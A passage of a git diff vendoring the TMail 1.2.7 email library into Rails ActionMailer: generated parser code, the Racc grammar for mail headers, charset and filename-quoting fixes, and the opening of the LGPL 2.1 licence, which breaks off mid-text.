<<'.,.,', 'lib/tmail/parser.y', 152 + def _reduce_48( val, _values) + val + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 157 + def _reduce_49( val, _values) + val[0].push val[2] + val[0] + end +.,., + + # reduce 50 omitted + + # reduce 51 omitted + +module_eval <<'.,.,', 'lib/tmail/parser.y', 165 + def _reduce_52( val, _values) + val + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 170 + def _reduce_53( val, _values) + val[0].push val[2] + val[0] + end +.,., + + # reduce 54 omitted + + # reduce 55 omitted + +module_eval <<'.,.,', 'lib/tmail/parser.y', 178 + def _reduce_56( val, _values) + val[1].phrase = Decoder.decode(val[0]) + val[1] + end +.,., + + # reduce 57 omitted + +module_eval <<'.,.,', 'lib/tmail/parser.y', 185 + def _reduce_58( val, _values) + AddressGroup.new(val[0], val[2]) + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 185 + def _reduce_59( val, _values) + AddressGroup.new(val[0], []) + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 188 + def _reduce_60( val, _values) + val[0].join('.') + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 189 + def _reduce_61( val, _values) + val[0] << ' ' << val[1].join('.') + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 196 + def _reduce_62( val, _values) + val[2].routes.replace val[1] + val[2] + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 200 + def _reduce_63( val, _values) + val[1] + end +.,., + + # reduce 64 omitted + +module_eval <<'.,.,', 'lib/tmail/parser.y', 203 + def _reduce_65( val, _values) + [ val[1].join('.') ] + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 204 + def _reduce_66( val, _values) + val[0].push val[3].join('.'); val[0] + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 206 + def _reduce_67( val, _values) + Address.new( val[0], val[2] ) + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 207 + def _reduce_68( val, _values) + Address.new( val[0], nil ) + end +.,., + + # reduce 69 omitted + +module_eval <<'.,.,', 'lib/tmail/parser.y', 210 + def _reduce_70( val, _values) + val[0].push ''; val[0] + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 213 + def _reduce_71( val, _values) + val + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 222 + def _reduce_72( val, _values) + val[1].times do + val[0].push '' + end + val[0].push val[2] + val[0] + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 224 + def _reduce_73( val, _values) + val + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 233 + def _reduce_74( val, _values) + val[1].times do + val[0].push '' + end + val[0].push val[2] + val[0] + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 234 + def _reduce_75( val, _values) + 0 + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 235 + def _reduce_76( val, _values) + val[0] + 1 + end +.,., + + # reduce 77 omitted + + # reduce 78 omitted + + # reduce 79 omitted + + # reduce 80 omitted + + # reduce 81 omitted + + # reduce 82 omitted + + # reduce 83 omitted + + # reduce 84 omitted + +module_eval <<'.,.,', 'lib/tmail/parser.y', 253 + def _reduce_85( val, _values) + val[1] = val[1].spec + val.join('') + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 254 + def _reduce_86( val, _values) + val + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 255 + def _reduce_87( val, _values) + val[0].push val[2]; val[0] + end +.,., + + # reduce 88 omitted + +module_eval <<'.,.,', 'lib/tmail/parser.y', 258 + def _reduce_89( val, _values) + val[0] << ' ' << val[1] + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 265 + def _reduce_90( val, _values) + val.push nil + val + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 269 + def _reduce_91( val, _values) + val + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 274 + def _reduce_92( val, _values) + [ val[0].to_i, val[2].to_i ] + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 279 + def _reduce_93( val, _values) + [ val[0].downcase, val[2].downcase, decode_params(val[3]) ] + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 283 + def _reduce_94( val, _values) + [ val[0].downcase, nil, decode_params(val[1]) ] + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 288 + def _reduce_95( val, _values) + {} + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 293 + def _reduce_96( val, _values) + val[0][ val[2].downcase ] = ('"' + val[4].to_s + '"') + val[0] + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 298 + def _reduce_97( val, _values) + val[0][ val[2].downcase ] = val[4] + val[0] + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 303 + def _reduce_98( val, _values) + val[0].downcase + end +.,., + +module_eval <<'.,.,', 'lib/tmail/parser.y', 308 + def _reduce_99( val, _values) + [ val[0].downcase, decode_params(val[1]) ] + end +.,., + + # reduce 100 omitted + + # reduce 101 omitted + + # reduce 102 omitted + + # reduce 103 omitted + + # reduce 104 omitted + + # reduce 105 omitted + + # reduce 106 omitted + + # reduce 107 omitted + + # reduce 108 omitted + + def _reduce_none( val, _values) + val[0] + end + + end # class Parser + +end # module TMail diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/parser.y b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/parser.y new file mode 100644 index 00000000..7c1873ce --- /dev/null +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/parser.y @@ -0,0 +1,416 @@ +# +# parser.y +# +# Copyright (c) 1998-2007 Minero Aoki +# +# This program is free software. +# You can distribute/modify this program under the terms of +# the GNU Lesser General Public License version 2.1. +# + +class TMail::Parser + + options no_result_var + +rule + + content : DATETIME datetime { val[1] } + | RECEIVED received { val[1] } + | MADDRESS addrs_TOP { val[1] } + | RETPATH retpath { val[1] } + | KEYWORDS keys { val[1] } + | ENCRYPTED enc { val[1] } + | MIMEVERSION version { val[1] } + | CTYPE ctype { val[1] } + | CENCODING cencode { val[1] } + | CDISPOSITION cdisp { val[1] } + | ADDRESS addr_TOP { val[1] } + | MAILBOX mbox { val[1] } + + datetime : day DIGIT ATOM DIGIT hour zone + # 0 1 2 3 4 5 + # date month year + { + t = Time.gm(val[3].to_i, val[2], val[1].to_i, 0, 0, 0) + (t + val[4] - val[5]).localtime + } + + day : /* none */ + | ATOM ',' + + hour : DIGIT ':' DIGIT + { + (val[0].to_i * 60 * 60) + + (val[2].to_i * 60) + } + | DIGIT ':' DIGIT ':' DIGIT + { + (val[0].to_i * 60 * 60) + + (val[2].to_i * 60) + + (val[4].to_i) + } + + zone : ATOM + { + timezone_string_to_unixtime(val[0]) + } + + received : from by via with id for received_datetime + { + val + } + + from : /* none */ + | FROM received_domain + { + val[1] + } + + by : /* none */ + | BY received_domain + { + val[1] + } + + received_domain + : domain + { + join_domain(val[0]) + } + | domain '@' domain + { + join_domain(val[2]) + } + | domain DOMLIT + { + join_domain(val[0]) + } + + via : /* none */ + | VIA ATOM + { + val[1] + } + + with : /* none */ + { + [] + } + | with WITH ATOM + { + val[0].push val[2] + val[0] + } + + id : /* none */ + | ID msgid + { + val[1] + } + | ID ATOM + { + val[1] + } + + for : /* none */ + | FOR received_addrspec + { + val[1] + } + + received_addrspec + : routeaddr + { + val[0].spec + } + | spec + { + val[0].spec + } + + received_datetime + : /* none */ + | ';' datetime + { + val[1] + } + + addrs_TOP : addrs + | group_bare + | addrs commas group_bare + + addr_TOP : mbox + | group + | group_bare + + retpath : addrs_TOP + | '<' '>' { [ Address.new(nil, nil) ] } + + addrs : addr + { + val + } + | addrs commas addr + { + val[0].push val[2] + val[0] + } + + addr : mbox + | group + + mboxes : mbox + { + val + } + | mboxes commas mbox + { + val[0].push val[2] + val[0] + } + + mbox : spec + | routeaddr + | addr_phrase routeaddr + { + val[1].phrase = Decoder.decode(val[0]) + val[1] + } + + group : group_bare ';' + + group_bare: addr_phrase ':' mboxes + { + AddressGroup.new(val[0], val[2]) + } + | addr_phrase ':' { AddressGroup.new(val[0], []) } + + addr_phrase + : local_head { val[0].join('.') } + | addr_phrase local_head { val[0] << ' ' << val[1].join('.') } + + routeaddr : '<' routes spec '>' + { + val[2].routes.replace val[1] + val[2] + } + | '<' spec '>' + { + val[1] + } + + routes : at_domains ':' + + at_domains: '@' domain { [ val[1].join('.') ] } + | at_domains ',' '@' domain { val[0].push val[3].join('.'); val[0] } + + spec : local '@' domain { Address.new( val[0], val[2] ) } + | local { Address.new( val[0], nil ) } + + local: local_head + | local_head '.' { val[0].push ''; val[0] } + + local_head: word + { val } + | local_head dots word + { + val[1].times do + val[0].push '' + end + val[0].push val[2] + val[0] + } + + domain : domword + { val } + | domain dots domword + { + val[1].times do + val[0].push '' + end + val[0].push val[2] + val[0] + } + + dots : '.' { 0 } + | dots '.' { val[0] + 1 } + + word : atom + | QUOTED + | DIGIT + + domword : atom + | DOMLIT + | DIGIT + + commas : ',' + | commas ',' + + msgid : '<' spec '>' + { + val[1] = val[1].spec + val.join('') + } + + keys : phrase { val } + | keys ',' phrase { val[0].push val[2]; val[0] } + + phrase : word + | phrase word { val[0] << ' ' << val[1] } + + enc : word + { + val.push nil + val + } + | word word + { + val + } + + version : DIGIT '.' DIGIT + { + [ val[0].to_i, val[2].to_i ] + } + + ctype : TOKEN '/' TOKEN params opt_semicolon + { + [ val[0].downcase, val[2].downcase, decode_params(val[3]) ] + } + | TOKEN params opt_semicolon + { + [ val[0].downcase, nil, decode_params(val[1]) ] + } + + params : /* none */ + { + {} + } + | params ';' TOKEN '=' QUOTED + { + val[0][ val[2].downcase ] = ('"' + val[4].to_s + '"') + val[0] + } + | params ';' TOKEN '=' TOKEN + { + val[0][ val[2].downcase ] = val[4] + val[0] + } + + cencode : TOKEN + { + val[0].downcase + } + + cdisp : TOKEN params opt_semicolon + { + [ val[0].downcase, decode_params(val[1]) ] + } + + opt_semicolon + : + | ';' + + atom : ATOM + | FROM + | BY + | VIA + | WITH + | ID + | FOR + +end + + +---- header +# +# parser.rb +# +# Copyright (c) 1998-2007 Minero Aoki +# +# This program is free software. +# You can distribute/modify this program under the terms of +# the GNU Lesser General Public License version 2.1. +# + +require 'tmail/scanner' +require 'tmail/utils' + +---- inner + + include TextUtils + + def self.parse( ident, str, cmt = nil ) + str = special_quote_address(str) if ident.to_s =~ /M?ADDRESS/ + new.parse(ident, str, cmt) + end + + def self.special_quote_address(str) #:nodoc: + # Takes a string which is an address and adds quotation marks to special + # edge case methods that the RACC parser can not handle. + # + # Right now just handles two edge cases: + # + # Full stop as the last character of the display name: + # Mikel L. + # Returns: + # "Mikel L." + # + # Unquoted @ symbol in the display name: + # mikel@me.com + # Returns: + # "mikel@me.com" + # + # Any other address not matching these patterns just gets returned as is. + case + # This handles the missing "" in an older version of Apple Mail.app + # around the display name when the display name contains a '@' + # like 'mikel@me.com ' + # Just quotes it to: '"mikel@me.com" ' + when str =~ /\A([^"].+@.+[^"])\s(<.*?>)\Z/ + return "\"#{$1}\" #{$2}" + # This handles cases where 'Mikel A. ' which is a trailing + # full stop before the address section. Just quotes it to + # '"Mikel A." ' + when str =~ /\A(.*?\.)\s(<.*?>)\s*\Z/ + return "\"#{$1}\" #{$2}" + else + str + end + end + + MAILP_DEBUG = false + + def initialize + self.debug = MAILP_DEBUG + end + + def debug=( flag ) + @yydebug = flag && Racc_debug_parser + @scanner_debug = flag + end + + def debug + @yydebug + end + + def parse( ident, str, comments = nil ) + @scanner = Scanner.new(str, ident, comments) + @scanner.debug = @scanner_debug + @first = [ident, ident] + result = yyparse(self, :parse_in) + comments.map! {|c| to_kcode(c) } if comments + result + end + + private + + def parse_in( &block ) + yield @first + @scanner.scan(&block) + end + + def on_error( t, val, vstack ) + raise TMail::SyntaxError, "parse error on token #{racc_token2str t}" + end + diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/port.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/port.rb similarity index 100% rename from vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/port.rb rename to vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/port.rb diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/quoting.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/quoting.rb similarity index 72% rename from vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/quoting.rb rename to vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/quoting.rb index cb9f4288..cd2ed540 100644 --- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/quoting.rb +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/quoting.rb @@ -10,7 +10,7 @@ module TMail end def unquoted_body(to_charset = 'utf-8') - from_charset = sub_header("content-type", "charset") + from_charset = charset case (content_transfer_encoding || "7bit").downcase when "quoted-printable" # the default charset is set to iso-8859-1 instead of 'us-ascii'. @@ -56,10 +56,29 @@ module TMail end end + class Attachment + + include TextUtils + + def quoted?(string) + !!((string =~ /.+'\w\w'.+/) || (string =~ /=\?.+\?.\?.+\?=/)) + end + + # Only unquote if quoted + def original_filename(to_charset = 'utf-8') + if quoted?(quoted_filename) + Unquoter.unquote_and_convert_to(quoted_filename, to_charset).chomp + else + quoted_filename + end + end + end + class Unquoter class << self def unquote_and_convert_to(text, to_charset, from_charset = "iso-8859-1", preserve_underscores=false) return "" if text.nil? + text.gsub!(/\?=(\s*)=\?/, '?==?') # Remove whitespaces between 'encoded-word's text.gsub(/(.*?)(?:(?:=\?(.*?)\?(.)\?(.*?)\?=)|$)/) do before = $1 from_charset = $2 @@ -82,6 +101,29 @@ module TMail end end + def convert_to_with_fallback_on_iso_8859_1(text, to, from) + return text if to == 'utf-8' and text.isutf8 + + if from.blank? and !text.is_binary_data? + from = CharDet.detect(text)['encoding'] + + # Chardet ususally detects iso-8859-2 (aka windows-1250), but the text is + # iso-8859-1 (aka windows-1252 and Latin1). http://en.wikipedia.org/wiki/ISO/IEC_8859-2 + # This can cause unwanted characters, like ŕ instead of à. + # (I know, could be a very bad decision...) + from = 'iso-8859-1' if from =~ /iso-8859-2/i + end + + begin + convert_to_without_fallback_on_iso_8859_1(text, to, from) + rescue Iconv::InvalidCharacter + unless from == 'iso-8859-1' + from = 'iso-8859-1' + retry + end + end + end + def unquote_quoted_printable_and_convert_to(text, to, from, preserve_underscores=false) text = text.gsub(/_/, " ") unless preserve_underscores text = text.gsub(/\r\n|\r/, "\n") # normalize newlines @@ -113,6 +155,10 @@ module TMail text end end + + alias_method :convert_to_without_fallback_on_iso_8859_1, :convert_to + alias_method :convert_to, :convert_to_with_fallback_on_iso_8859_1 + end end end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/require_arch.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/require_arch.rb similarity index 100% rename from vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/require_arch.rb rename to vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/require_arch.rb diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/scanner.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/scanner.rb similarity index 100% rename from vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/scanner.rb rename to vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/scanner.rb diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/scanner_r.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/scanner_r.rb similarity index 99% rename from vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/scanner_r.rb rename to vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/scanner_r.rb index f2075502..5ed82560 100644 --- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/scanner_r.rb +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/scanner_r.rb @@ -1,3 +1,4 @@ +# encoding: us-ascii # scanner_r.rb # #-- @@ -258,4 +259,4 @@ module TMail end end # module TMail -#:startdoc: \ No newline at end of file +#:startdoc: diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/stringio.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/stringio.rb similarity index 100% rename from vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/stringio.rb rename to vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/stringio.rb diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/utils.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/utils.rb similarity index 90% rename from vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/utils.rb rename to vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/utils.rb index dc594a42..3590ca24 100644 --- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.3/tmail/utils.rb +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/utils.rb @@ -1,3 +1,4 @@ +# encoding: us-ascii #-- # Copyright (c) 1998-2003 Minero Aoki # @@ -25,29 +26,29 @@ #++ # = TMail - The EMail Swiss Army Knife for Ruby -# +# # The TMail library provides you with a very complete way to handle and manipulate EMails # from within your Ruby programs. -# +# # Used as the backbone for email handling by the Ruby on Rails and Nitro web frameworks as # well as a bunch of other Ruby apps including the Ruby-Talk mailing list to newsgroup email # gateway, it is a proven and reliable email handler that won't let you down. -# +# # Originally created by Minero Aoki, TMail has been recently picked up by Mikel Lindsaar and # is being actively maintained. Numerous backlogged bug fixes have been applied as well as # Ruby 1.9 compatibility and a swath of documentation to boot. -# +# # TMail allows you to treat an email totally as an object and allow you to get on with your # own programming without having to worry about crafting the perfect email address validation # parser, or assembling an email from all it's component parts. -# +# # TMail handles the most complex part of the email - the header. It generates and parses # headers and provides you with instant access to their innards through simple and logically # named accessor and setter methods. -# +# # TMail also provides a wrapper to Net/SMTP as well as Unix Mailbox handling methods to # directly read emails from your unix mailbox, parse them and use them. -# +# # Following is the comprehensive list of methods to access TMail::Mail objects. You can also # check out TMail::Mail, TMail::Address and TMail::Headers for other lists. module TMail @@ -57,9 +58,9 @@ module TMail # Provides a new email boundary to separate parts of the email. This is a random # string based off the current time, so should be fairly unique. - # + # # For Example: - # + # # TMail.new_boundary # #=> "mimepart_47bf656968207_25a8fbb80114" # TMail.new_boundary @@ -70,12 +71,12 @@ module TMail # Provides a new email message ID. You can use this to generate unique email message # id's for your email so you can track them. - # - # Optionally takes a fully qualified domain name (default to the current hostname + # + # Optionally takes a fully qualified domain name (default to the current hostname # returned by Socket.gethostname) that will be appended to the message ID. - # + # # For Example: - # + # # email.message_id = TMail.new_message_id # #=> "<47bf66845380e_25a8fbb80332@baci.local.tmail>" # email.to_s @@ -102,10 +103,10 @@ module TMail @uniq = 0 #:startdoc: - + # Text Utils provides a namespace to define TOKENs, ATOMs, PHRASEs and CONTROL characters that # are OK per RFC 2822. - # + # # It also provides methods you can call to determine if a string is safe module TextUtils @@ -118,19 +119,19 @@ module TMail ATOM_UNSAFE = /[#{Regexp.quote aspecial}#{control}#{lwsp}]/n PHRASE_UNSAFE = /[#{Regexp.quote aspecial}#{control}]/n TOKEN_UNSAFE = /[#{Regexp.quote tspecial}#{control}#{lwsp}]/n - + # Returns true if the string supplied is free from characters not allowed as an ATOM def atom_safe?( str ) not ATOM_UNSAFE === str end - # If the string supplied has ATOM unsafe characters in it, will return the string quoted + # If the string supplied has ATOM unsafe characters in it, will return the string quoted # in double quotes, otherwise returns the string unmodified def quote_atom( str ) (ATOM_UNSAFE === str) ? dquote(str) : str end - # If the string supplied has PHRASE unsafe characters in it, will return the string quoted + # If the string supplied has PHRASE unsafe characters in it, will return the string quoted # in double quotes, otherwise returns the string unmodified def quote_phrase( str ) (PHRASE_UNSAFE === str) ? dquote(str) : str @@ -141,7 +142,7 @@ module TMail not TOKEN_UNSAFE === str end - # If the string supplied has TOKEN unsafe characters in it, will return the string quoted + # If the string supplied has TOKEN unsafe characters in it, will return the string quoted # in double quotes, otherwise returns the string unmodified def quote_token( str ) (TOKEN_UNSAFE === str) ? dquote(str) : str @@ -161,9 +162,9 @@ module TMail # Unwraps supplied string from inside double quotes # Returns unquoted string def unquote( str ) - str =~ /^"(.*?)"$/ ? $1 : str + str =~ /^"(.*?)"$/m ? $1 : str end - + # Provides a method to join a domain name by it's parts and also makes it # ATOM safe by quoting it as needed def join_domain( arr ) @@ -255,8 +256,8 @@ module TMail end - MESSAGE_ID = /<[^\@>]+\@[^>\@]+>/ - + MESSAGE_ID = /<[^\@>]+\@[^>]+>/ + def message_id?( str ) MESSAGE_ID === str end @@ -267,7 +268,7 @@ module TMail def mime_encoded?( str ) MIME_ENCODED === str end - + def decode_params( hash ) new = Hash.new @@ -329,8 +330,32 @@ module TMail end end end - #:startdoc: + # AppleMail generates illegal character contained Content-Type parameter like: + # name==?ISO-2022-JP?B?...=?= + # so quote. (This case is only value fits in one line.) + def quote_unquoted_bencode + @body = @body.gsub(%r"(;\s+[-a-z]+=)(=\?.+?)([;\r\n ]|\z)"m) { + head, should_quoted, tail = $~.captures + # head: "; name=" + # should_quoted: "=?ISO-2022-JP?B?...=?=" + + head << quote_token(should_quoted) << tail + } + end + + # AppleMail generates name=filename attributes in the content type that + # contain spaces. Need to handle this so the TMail Parser can. + def quote_unquoted_name + @body = @body.gsub(%r|(name=)([\w\s.]+)(.*)|m) { + head, should_quoted, tail = $~.captures + # head: "; name=" + # should_quoted: "=?ISO-2022-JP?B?...=?=" + head << quote_token(should_quoted) << tail + } + end + + #:startdoc: end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/COPYING b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/COPYING new file mode 100755 index 00000000..8add30ad --- /dev/null +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/COPYING @@ -0,0 +1,504 @@ + GNU LESSER GENERAL PUBLIC LICENSE + Version 2.1, February 1999 + + Copyright (C) 1991, 1999 Free Software Foundation, Inc. + 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + +[This is the first released version of the Lesser GPL. It also counts + as the successor of the GNU Library Public License, version 2, hence + the version number 2.1.] + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +Licenses are intended to guarantee your freedom to share and change +free software--to make sure the software is free for all its users. + + This license, the Lesser General Public License, applies to some +specially designated software packages--typically libraries--of the +Free Software Foundation and other authors who decide to use it. You +can use it too, but we suggest you first think carefully about whether +this license or the ordinary General Public License is the better +strategy to use in any particular case, based on the explanations below. + + When we speak of free software, we are referring to freedom of use, +not price. Our General Public Licenses are designed to make sure that +you have the freedom to distribute copies of free software (and charge +for this service if you wish); that you receive source code or can get +it if you want it; that you can change the software and use pieces of +it in new free programs; and that you are informed that you can do +these things. + + To protect your rights, we need to make restrictions that forbid +distributors to deny you these rights or to ask you to surrender these +rights. These restrictions translate to certain responsibilities for +you if you distribute copies of the library or if you modify it. + + For example, if you distribute copies of the library, whether gratis +or for a fee, you must give the recipients all the rights that we gave +you. You must make sure that they, too, receive or can get the source +code. If you link other code with the library, you must provide +complete object files to the recipients, so that they can relink them +with the library after making changes to the library and recompiling +it. And you must show them these terms so they know their rights. + + We protect your rights with a two-step method: (1) we copyright the +library, and (2) we offer you this license, which gives you legal +permission to copy, distribute and/or modify the library. + + To protect each distributor, we want to make it very clear that +there is no warranty for the free library. Also, if the library is +modified by someone else and passed on, the recipients should know +that what they have is not the original version, so that the original +author's reputation will not be affected by problems that might be +introduced by others. + + Finally, software patents pose a constant threat to the existence of +any free program. We wish to make sure that a company cannot +effectively restrict the users of a free program by obtaining a +restrictive license from a patent holder. Therefore, we insist that +any patent license obtained for a version of the library must be +consistent with the full freedom of use specified in this license. + + Most GNU software, including some libraries, is covered by the +ordinary GNU General Public License. This license, the GNU Lesser +General Public License, applies to certain designated libraries, and +is quite different from the ordinary General Public License. We use +this license for certain libraries in order to permit linking those +libraries into non-free programs. + + When a program is linked with a library, whether statically or using +a shared library, the combination of the two is legally speaking a +combined work, a derivative of the original library. The ordinary +General Public License therefore permits such linking only if the +entire combination fits its criteria of freedom. The Lesser General +Public License permits more lax criteria for linking other code with +the library. + + We call this license the "Lesser" General Public License because it +does Less to protect the user's freedom than the ordinary General +Public License. It also provides other free software developers Less +of an advantage over competing non-free programs. These disadvantages +are the reason we use the ordinary General Public License for many +libraries. However, the Lesser license provides advantages in certain +special circumstances. + + For example, on rare occasions, there may be a special need to +encourage the widest possible use of a certain library, so that it becomes +a de-facto standard. To achieve this, non-free programs must be +allowed to use the library. A more frequent case is that a free +library does the same job as widely used non-free libraries. In this +case, there is little to gain by limiting the free library to free +software only, so we use the Lesser General Public License. + + In other cases, permission to use a particular library in non-free +programs enables a greater number of people to use a large body of +free software. For example, permission to use the GNU C Library in +non-free programs enables many more people to use the whole GNU +operating system, as well as its variant, the GNU/Linux operating +system. + + Although the Lesser General Public License is Less protective of the +users' freedom, it does ensure that the user of a program that is +linked with the Library has the freedom and the wherewithal to run +that program using a modified version of the Library. + + The precise terms and conditions for copying, distribution and +modification follow. Pay close attention to the difference between a +"work based on the library" and a "work that uses the library". The +former contains code derived from the library, whereas the latter must +be combined with the library in order to run. + + GNU LESSER GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License Agreement applies to any software library or other +program which contains a notice placed by the copyright holder or +other authorized party saying it may be distributed under the terms of +this Lesser General Public License (also called "this License"). +Each licensee is addressed as "you". + + A "library" means a collection of software functions and/or data +prepared so as to be conveniently linked with application programs +(which use some of those functions and data) to form executables. + + The "Library", below, refers to any such software library or work +which has been distributed under these terms. A "work based on the +Library" means either the Library or any derivative work under +copyright law: that is to say, a work containing the Library or a +portion of it, either verbatim or with modifications and/or translated +straightforwardly into another language. (Hereinafter, translation is +included without limitation in the term "modification".) + + "Source code" for a work means the preferred form of the work for +making modifications to it. For a library, complete source code means +all the source code for all modules it contains, plus any associated +interface definition files, plus the scripts used to control compilation +and installation of the library. + + Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running a program using the Library is not restricted, and output from +such a program is covered only if its contents constitute a work based +on the Library (independent of the use of the Library in a tool for +writing it). Whether that is true depends on what the Library does +and what the program that uses the Library does. + + 1. You may copy and distribute verbatim copies of the Library's +complete source code as you receive it, in any medium, provided that +you conspicuously and appropriately publish on each copy an +appropriate copyright notice and disclaimer of warranty; keep intact +all the notices that refer to this License and to the absence of any +warranty; and distribute a copy of this License along with the +Library. + + You may charge a fee for the physical act of transferring a copy, +and you may at your option offer warranty protection in exchange for a +fee. + + 2. You may modify your copy or copies of the Library or any portion +of it, thus forming a work based on the Library, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) The modified work must itself be a software library. + + b) You must cause the files modified to carry prominent notices + stating that you changed the files and the date of any change. + + c) You must cause the whole of the work to be licensed at no + charge to all third parties under the terms of this License. + + d) If a facility in the modified Library refers to a function or a + table of data to be supplied by an application program that uses + the facility, other than as an argument passed when the facility + is invoked, then you must make a good faith effort to ensure that, + in the event an application does not supply such function or + table, the facility still operates, and performs whatever part of + its purpose remains meaningful. + + (For example, a function in a library to compute square roots has + a purpose that is entirely well-defined independent of the + application. Therefore, Subsection 2d requires that any + application-supplied function or table used by this function must + be optional: if the application does not supply it, the square + root function must still compute square roots.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Library, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Library, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote +it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Library. + +In addition, mere aggregation of another work not based on the Library +with the Library (or with a work based on the Library) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may opt to apply the terms of the ordinary GNU General Public +License instead of this License to a given copy of the Library. To do +this, you must alter all the notices that refer to this License, so +that they refer to the ordinary GNU General Public License, version 2, +instead of to this License. (If a newer version than version 2 of the +ordinary GNU General Public License has appeared, then you can specify +that version instead if you wish.) Do not make any other change in +these notices. + + Once this change is made in a given copy, it is irreversible for +that copy, so the ordinary GNU General Public License applies to all +subsequent copies and derivative works made from that copy. + + This option is useful when you wish to copy part of the code of +the Library into a program that is not a library. + + 4. You may copy and distribute the Library (or a portion or +derivative of it, under Section 2) in object code or executable form +under the terms of Sections 1 and 2 above provided that you accompany +it with the complete corresponding 